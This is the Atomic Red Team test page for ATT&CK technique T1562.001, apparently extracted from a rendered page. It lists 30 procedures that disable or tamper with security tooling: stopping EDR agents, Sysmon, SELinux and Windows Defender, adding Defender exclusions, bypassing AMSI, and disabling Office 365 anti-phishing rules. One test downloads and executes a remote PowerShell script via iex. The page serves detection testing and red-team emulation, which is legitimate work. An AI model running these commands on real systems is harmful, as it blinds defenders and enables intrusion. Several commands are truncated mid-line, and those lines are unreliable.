



1294 lines (688 loc) · 34 KB

# T1562.001 - Disable or Modify Tools

## Description from ATT&CK

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](#), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)  
(Citation: MDSec System Calls)

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## Atomic Test #1 - Disable syslog

Disables syslog collection

Supported Platforms: Linux

auto\_generated\_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8

Inputs:

| Name              | Description   | Type   | Default Value                                      |
|-------------------|---|--------|--|
| package_checker   | Package checking command for linux.   | String | (rpm -q rsyslog 2>&1 >/dev/null)                   |
| package_installer | Package installer command for linux.<br>Default yum   | String | (which yum && yum -y install epel-release rsyslog) |
| flavor_command    | Command to disable syslog collection.<br>Default newer rsyslog commands. i.e<br>older command = service rsyslog stop ;<br>chkconfig off rsyslog | String | systemctl stop rsyslog ; systemctl disable rsyslog |
| cleanup_command   | Command to enable syslog collection.<br>Default newer rsyslog commands. i.e   | String | systemctl start rsyslog ; systemctl                |

|  |   |  |                |
|--|---|--|----------------|
|  | older command = service rsyslog start ;<br>chkconfig rsyslog on |  | enable rsyslog |
|--|---|--|----------------|

Attack Commands: Run with `sh` ! Elevation Required (e.g. root or admin)

```
#{flavor_command}
```

Cleanup Commands:

```
#{cleanup_command}
```

Dependencies: Run with `sh` !

Description: Package with rsyslog must be on system

Check Prereq Commands:

```
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
```

Get Prereq Commands:

```
sudo #{package_installer}
```

## Atomic Test #2 - Disable Cb Response

Disable the Cb Response service

Supported Platforms: Linux

auto\_generated\_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8

Attack Commands: Run with `sh` !

```
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];  
then  
    service cbdaemon stop  
    chkconfig off cbdaemon  
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];  
    systemctl stop cbdaemon  
    systemctl disable cbdaemon  
fi
```



## Atomic Test #3 - Disable SELinux

Disables SELinux enforcement

**Supported Platforms:** Linux

**auto\_generated\_guid:** fc225f36-9279-4c39-b3f9-5141ab74f8d8

**Attack Commands:** Run with **sh** ! Elevation Required (e.g. root or admin)

```
setenforce 0
```



**Cleanup Commands:**

```
setenforce 1
```



## Atomic Test #4 - Stop CrowdStrike Falcon on Linux

Stop and disable CrowdStrike Falcon on Linux

**Supported Platforms:** Linux

**auto\_generated\_guid:** 828a1278-81cc-4802-96ab-188bf29ca77d

### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo systemctl stop falcon-sensor.service  
sudo systemctl disable falcon-sensor.service
```



### Cleanup Commands:

```
sudo systemctl enable falcon-sensor.service  
sudo systemctl start falcon-sensor.service
```



## Atomic Test #5 - Disable Carbon Black Response

Disables Carbon Black Response

Supported Platforms: macOS

auto\_generated\_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c

### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist  
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
```



### Cleanup Commands:

```
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist  
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
```



## Atomic Test #6 - Disable LittleSnitch

Disables LittleSnitch

**Supported Platforms:** macOS

**auto\_generated\_guid:** 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3

**Attack Commands:** Run with **sh**! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
```



**Cleanup Commands:**

```
sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
```



## Atomic Test #7 - Disable OpenDNS Umbrella


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Disables OpenDNS Umbrella

**Supported Platforms:** macOS

**auto\_generated\_guid:** 07f43b33-1e15-4e99-be70-bc094157c849

**Attack Commands:** Run with **sh**! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpd
```

**Cleanup Commands:**

```
sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUp
```

## Atomic Test #8 - Disable macOS Gatekeeper

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Disables macOS Gatekeeper

Supported Platforms: macOS

auto\_generated\_guid: 2a821573-fb3f-4e71-92c3-daac7432f053

Attack Commands: Run with `sh` ! Elevation Required (e.g. root or admin)

```
sudo spctl --master-disable
```

Cleanup Commands:

```
sudo spctl --master-enable
```

## Atomic Test #9 - Stop and unload Crowdstrike Falcon on macOS

Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS

Supported Platforms: macOS

auto\_generated\_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef

Inputs:

| Name             | Description                                   | Type | Default Value  |
|------------------|---|------|--|
| falcond_plist    | The path of the Crowdstrike Falcon plist file | Path | /Library/LaunchDaemons/com.crowdstrike.falcond.plist |
| userdaemon_plist | The path of the Crowdstrike                   | Path | /Library/LaunchDaemons/com.crowdstrike.userdaemo     |



|  |                          |  |  |
|--|--------------------------|--|--|
|  | Userdaemon<br>plist file |  |  |
|--|--------------------------|--|--|

Attack Commands: Run with `sh` ! Elevation Required (e.g. root or admin)

```
sudo launchctl unload #{falcond_plist}
sudo launchctl unload #{userdaemon_plist}
```

Cleanup Commands:

```
sudo launchctl load -w #{falcond_plist}
sudo launchctl load -w #{userdaemon_plist}
```

## Atomic Test #10 - Unload Sysmon Filter Driver

Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution, run the `prereq_command`'s and it should fail with an error of "sysmon filter must be loaded".

Supported Platforms: Windows

auto\_generated\_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164

Inputs:

| Name          | Description   | Type   | Default Value |
|---------------|---|--------|---------------|
| sysmon_driver | The name of the Sysmon filter driver (this can change from the default) | String | SysmonDrv     |

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
fltmc.exe unload #{sysmon_driver}
```

## Cleanup Commands:

```
sysmon -u -i > nul 2>&1
sysmon -i -accepteula -i > nul 2>&1
%temp%\Sysmon\sysmon.exe -u > nul 2>&1
%temp%\Sysmon\sysmon.exe -accepteula -i > nul 2>&1
```



## Dependencies: Run with powershell!

Description: Sysmon must be downloaded

### Check Prereq Commands:

```
if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") -or (Test-Path
```



### Get Prereq Commands:

```
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$env:TEMP\Sysmon.zip"
Expand-Archive $env:TEMP\Sysmon.zip $env:TEMP\Sysmon -Force
Remove-Item $env:TEMP\Sysmon.zip -Force
```



Description: sysmon must be Installed

### Check Prereq Commands:

```
if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }
```



### Get Prereq Commands:

```
if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\System32\cmd.exe /c "setenv TEMP %temp% & cd %temp%\Sysmon & Sysmon.exe -accepteula -i" }
```



Description: sysmon filter must be loaded

### Check Prereq Commands:

```
if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }
```



Get Prereq Commands:

```
sysmon -u
sysmon -accepteula -i
```

# Atomic Test #11 - Uninstall Sysmon

Uninstall Sysinternals Sysmon for Defense Evasion

Supported Platforms: Windows

auto\_generated\_guid: a316fb2e-5344-470d-91c1-23e15c374edc

Inputs:

| Name       | Description   | Type | Default Value                                |
|------------|---|------|--|
| sysmon_exe | The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH) | Path | PathToAtomicsFolder\T1562.001\bin\sysmon.exe |

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
sysmon -u
```

Cleanup Commands:

```
sysmon -i -accepteula >nul 2>&1
```

Dependencies: Run with **powershell**!

Description: Sysmon executable must be available

Check Prereq Commands:

```
if(cmd /c where sysmon) {exit 0} else {exit 1}
```



Get Prereq Commands:

```
$parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
New-Item -ItemType Directory $parentpath -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$:
Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
if(-not ($Env:Path).contains($parentpath)){ $Env:Path += ";$parentpath"}
```



Description: Sysmon must be installed

Check Prereq Commands:

```
if(cmd /c sc query sysmon) { exit 0} else { exit 1}
```



Get Prereq Commands:

```
cmd /c sysmon -i -accepteula
```



## Atomic Test #12 - AMSI Bypass - AMSI InitFailed

Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsilnitFailed" function to true. Upon execution, no output is displayed.

<https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/>

Supported Platforms: Windows

auto\_generated\_guid: 695eed40-e949-40e5-b306-b4031e4154bd

Attack Commands: Run with **powershell** !

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiIni' 
```

Cleanup Commands:

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiIni' 
```

## Atomic Test #13 - AMSI Bypass - Remove AMSI Provider Reg Key

With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection. This test removes the Windows Defender provider registry key. Upon execution, no output is displayed. Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" to verify that it is gone.

Supported Platforms: Windows

auto\_generated\_guid: 13f09b91-c953-438e-845b-b585e51cac9b

Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99F1 
```

Cleanup Commands:

```
New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99F1 
```

# Atomic Test #14 - Disable Arbitrary Security Windows Service

With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed. Change the service\_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service. To verify that the service has stopped, run "sc query McAfeeDLPAgentService"

Supported Platforms: Windows

auto\_generated\_guid: a1230893-56ac-4c81-b644-2108e982f8f5

Inputs:

| Name         | Description                     | Type   | Default Value         |
|--------------|---------------------------------|--------|-----------------------|
| service_name | The name of the service to stop | String | McAfeeDLPAgentService |

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
net.exe stop #{service_name}
sc.exe config #{service_name} start= disabled
```

Cleanup Commands:

```
sc.exe config #{service_name} start= auto >nul 2>&1
net.exe start #{service_name} >nul 2>&1
```

# Atomic Test #15 - Tamper with Windows Defender ATP PowerShell

Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

Supported Platforms: Windows

auto\_generated\_guid: 6b8df440-51ec-4d53-bf83-899591c9b5d7

Attack Commands: Run with `powershell` ! Elevation Required (e.g. root or admin)

```
Set-MpPreference -DisableRealtimeMonitoring 1
Set-MpPreference -DisableBehaviorMonitoring 1
Set-MpPreference -DisableScriptScanning 1
Set-MpPreference -DisableBlockAtFirstSeen 1
```



Cleanup Commands:

```
Set-MpPreference -DisableRealtimeMonitoring 0
Set-MpPreference -DisableBehaviorMonitoring 0
Set-MpPreference -DisableScriptScanning 0
Set-MpPreference -DisableBlockAtFirstSeen 0
```



## Atomic Test #16 - Tamper with Windows Defender Command Prompt

Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator. However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied" will be displayed twice and the WinDefend service status will be displayed.

Supported Platforms: Windows

auto\_generated\_guid: aa875ed4-8935-47e2-b2c5-6ec00ab220d2

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend
```



Cleanup Commands:

```
sc start WinDefend >nul 2>&1  
sc config WinDefend start=enabled >nul 2>&1
```



## Atomic Test #17 - Tamper with Windows Defender Registry

Disable Windows Defender from starting after a reboot. Upon execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be grayed out and have no info.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45

**Attack Commands:** Run with **powershell** ! Elevation Required (e.g. root or admin)

```
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name Disabl
```



**Cleanup Commands:**

```
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name Disabl
```



## Atomic Test #18 - Disable Microsoft Office Security Features

Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not show any warning before editing the document.

<https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7



### Attack Commands: Run with `powershell` !

```
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"  
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"  
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"  
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name  
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ Protec  
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ Protec  
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ Protec
```



### Cleanup Commands:

```
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name  
Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
```



## Atomic Test #19 - Remove Windows Defender Definition Files

Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments. On later versions of windows (1909+) this command fails even with admin due to insufficient privileges. On older versions of windows the command will say completed.

<https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/>

Supported Platforms: Windows

auto\_generated\_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```



# Atomic Test #20 - Stop and Remove Arbitrary Security Windows Service

Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.

Supported Platforms: Windows

auto\_generated\_guid: ae753dda-0f15-4af6-a168-b9ba16143143

Inputs:

| Name         | Description                       | Type   | Default Value         |
|--------------|-----------------------------------|--------|-----------------------|
| service_name | The name of the service to remove | String | McAfeeDLPAgentService |

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
Stop-Service -Name #{service_name}
Remove-Service -Name #{service_name}
```

# Atomic Test #21 - Uninstall Crowdstrike Falcon on Windows

Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.

Supported Platforms: Windows

auto\_generated\_guid: b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297

Inputs:

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
|------|-------------|------|---------------|

|              |   |      |   |
|--------------|---|------|---|
| falcond_path | The CrowdStrike Windows Sensor path. The Guid always changes. | Path | C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe |
|--------------|---|------|---|

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall /quiet } , 
```

## Atomic Test #22 - Tamper with Windows Defender Evade Scanning -Folder

Malware can exclude a specific path from being scanned and evading detection. Upon successful execution, the file provided should be on the list of excluded path. To check the exclusion list using powershell (Get-MpPreference).ExclusionPath


Supported Platforms: Windows

auto\_generated\_guid: 0b19f4ee-de90-4059-88cb-63c800c683ed

Inputs:

| Name            | Description                                | Type | Default Value |
|-----------------|--|------|---------------|
| excluded_folder | This folder will be excluded from scanning | Path | C:\Temp       |

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$excludedpath= "#{excluded_folder}"  
Add-MpPreference -ExclusionPath $excludedpath 
```

Cleanup Commands:

```
$excludedpath= "#{excluded_folder}"  
Remove-MpPreference -ExclusionPath $excludedpath
```



# Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Extension

Malware can exclude specific extensions from being scanned and evading detection. Upon successful execution, the extension(s) should be on the list of excluded extensions. To check the exclusion list using powershell (Get-MpPreference).ExclusionExtension.

Supported Platforms: Windows

auto\_generated\_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea

Inputs:

| Name          | Description                                  | Type   | Default Value |
|---------------|--|--------|---------------|
| excluded_exts | A list of extension to exclude from scanning | String | .exe          |

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$excludedExts= "#{excluded_exts}"  
Add-MpPreference -ExclusionExtension $excludedExts
```



Cleanup Commands:

```
$excludedExts= "#{excluded_exts}"  
Remove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore
```



# Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Process

Malware can exclude specific processes from being scanned and evading detection. Upon successful execution, the process(es) should be on the list of excluded processes. To check the exclusion list using powershell (Get-MpPreference).ExclusionProcess."

Supported Platforms: Windows

auto\_generated\_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27

Inputs:

| Name             | Description                                  | Type   | Default Value |
|------------------|--|--------|---------------|
| excluded_process | A list of processes to exclude from scanning | String | outlook.exe   |

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$excludedProcess = "#{excluded_process}"
Add-MpPreference -ExclusionProcess $excludedProcess
```

Cleanup Commands:

```
$excludedProcess = "#{excluded_process}"
Remove-MpPreference -ExclusionProcess $excludedProcess
```

# Atomic Test #25 - office-365-Disable-AntiPhishRule

Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.

Supported Platforms: Office-365

auto\_generated\_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3

Inputs:

| Name     | Description         | Type   | Default Value |
|----------|---------------------|--------|---------------|
| username | office-365 username | String |               |
| password | office-365 password | String |               |

Attack Commands: Run with powershell!

```
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{user}
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
```

Cleanup Commands:

```
if("#{password}" -ne "") {
$secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{user}
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Enable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
}
```

Dependencies: Run with powershell!

Description: ExchangeOnlineManagement PowerShell module must be installed

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else
```

Get Prereq Commands:

```
Install-Module -Name ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
```



## Atomic Test #26 - Disable Windows Defender with DISM

The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's package.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 871438ac-7d6e-432a-b27d-3e7db69faf58

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /qu:
```



## Atomic Test #27 - Disable Defender with Defender Control

Attempting to use Defender Control software to disable Windows Defender. Upon successful execution, Windows Defender will be turned off.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 178136d8-2778-4d7a-81f3-d517053a4fd6

**Inputs:**

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
|------|-------------|------|---------------|

|                    |   |        |  |
|--------------------|---|--------|--|
| DefenderID         | Defender ID that is used as a sort of passcode to disable it within Defender Control from the command line. The machine-specific Defender ID can be obtained within Defender Control by going to menu, command line info, and then retrieving the 4 character passcode to continue (listed after defendercontrol /d /id in the command line info window). | String | FFFF   |
| DefenderControlExe | Path to Defender Control software version 1.6.  | String | \$env:temp\DefenderControl\DefenderControl\D |

Attack Commands: Run with powershe11 ! Elevation Required (e.g. root or admin)

cmd /c #{DefenderControlExe} /D #{DefenderID} | Out-Null





Cleanup Commands:

```
cmd /c #{DefenderControlExe} /E | Out-Null
```

Dependencies: Run with powershell!

Description: Defender Control must be installed on the machine.

Check Prereq Commands:

```
if (Test-Path #{DefenderControlExe}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Start-BitsTransfer -Source "https://web.archive.org/web/20201210152711/https://www.expand-archive -LiteralPath "$env:temp\defendercontrol.zip" -DestinationPath "$env
```

# Atomic Test #28 - Disable Defender Using NirSoft AdvancedRun

Information on NirSoft AdvancedRun and its creators found here: [http://www.nirsoft.net/utis/advanced\\_run.html](http://www.nirsoft.net/utis/advanced_run.html) This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign. See <https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3> Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.

Supported Platforms: Windows

auto\_generated\_guid: 81ce22fd-9612-4154-918e-8a1f285d214d

Inputs:

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
|------|-------------|------|---------------|

|                        |   |         |                            |
|------------------------|---|---------|----------------------------|
| AdvancedRun_Location   | Path of Advanced Run executable                     | Path    | \$env:temp\AdvancedRun.exe |
| delete_defender_folder | Set to 1 to also delete the Windows Defender folder | Integer | 0                          |

Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
Try {cmd /c #{AdvancedRun_Location} /EXEFilename "$env:systemroot\System32\sc.exe"
if(#{delete_defender_folder}){
    $CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse
    Try {cmd /c #{AdvancedRun_Location} /EXEFilename "$env:systemroot\System32\Windoi
}
```

Cleanup Commands:

```
Try {cmd /c #{AdvancedRun_Location} /EXEFilename "$env:systemroot\System32\sc.exe"
```

Dependencies: Run with **powershell** !

Description: Advancedrun.exe must exist at #{AdvancedRun\_Location}

Check Prereq Commands:

```
if(Test-Path -Path #{AdvancedRun_Location}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -OutFile "$env:temp\advancedrun.zip"
Expand-Archive -path "$env:temp\advancedrun.zip" -destinationpath "$env:temp\" -Force
```

## Atomic Test #29 - Kill antimalware protected processes using Backstab

Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill. <https://github.com/Yaxser/Backstab>

Supported Platforms: Windows

auto\_generated\_guid: 24a12b91-05a7-4deb-8d7f-035fa98591bc

Inputs:

| Name         | Description   | Type   | Default Value |
|--------------|---|--------|---------------|
| process_name | Name of the protected process you want to kill/terminate. | string | MsMpEng.exe   |

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
& $env:temp\Backstab64.exe -k -n #{process_name}
```

Dependencies: Run with powershell !

Description: Backstab64.exe should exist in %temp%

Check Prereq Commands:

```
if (Test-Path $env:temp\Backstab64.exe) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Start-BitsTransfer -Source "https://github.com/Yaxser/Backstab/releases/download/v: 
```

## Atomic Test #30 - WinPwn - Kill the event log services for stealth

Kill the event log services for stealth via function of WinPwn

**Supported Platforms:** Windows

**auto\_generated\_guid:** 7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66

**Attack Commands:** Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3c  
inv-phantom -consoleoutput -noninteractive
```

